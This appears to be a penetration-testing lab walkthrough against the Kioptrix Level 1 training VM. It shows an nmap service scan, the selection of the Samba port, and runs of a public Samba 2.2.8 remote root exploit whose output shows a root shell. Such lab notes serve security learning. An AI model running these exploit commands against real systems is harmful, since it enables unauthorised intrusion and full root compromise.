ExploitingTask

1. Scanning all ports of the kioptrix machine using `nmap -sV -p- -oN Scanning [IP]`

```
┌──(kali㉿kali)-[~]
└─$ cat ZozScan
# Nmap 7.94SVN scan initiated Wed Jul 24 05:04:08 2024 as: nmap -sV -p- -oN ZozScan 192.168.21.129
Nmap scan report for 192.168.21.129 (192.168.21.129)
Host is up (0.0017s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp  open  status      1 (RPC #100024)
45295/tcp open  unknown
```

---

2. choosing the open port with samba service which is running on it ...
    - port 139

---

3. Search for the samba version to see if there are an available exploitation or not...

---

4. download the exploit and see the instruction inside it

---

5. compile the file then run it with the following instructions ..

```
└─$ ./samba_Exploit -d 0 -C 60 -S 192.168.21
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
-------------------------------------------------------------------------------
+ Scan mode.
+ [192.168.21.1] Windows
+ [192.168.21.129] Samba
```

```
┌──(kali㉿kali)-[~]
└─$ ./samba_Exploit -b 0 -v 192.168.21.129
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0×bffffed4]
+ Using ret: [0×bffffda8]
+ Using ret: [0×bffffc7c]
+ Using ret: [0×bffffb50]
+ Worked!
--------------------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
```

Testing ..

```
--------------------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

w
  5:24am  up 4 min,  0 users,  load average: 2.02, 0.55, 0.18
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
hostname
kioptrix.level1
ls /
bin
boot
dev
etc
home
initrd
lib
lost+found
misc
mnt
opt
proc
root
sbin
tmp
usr
var
```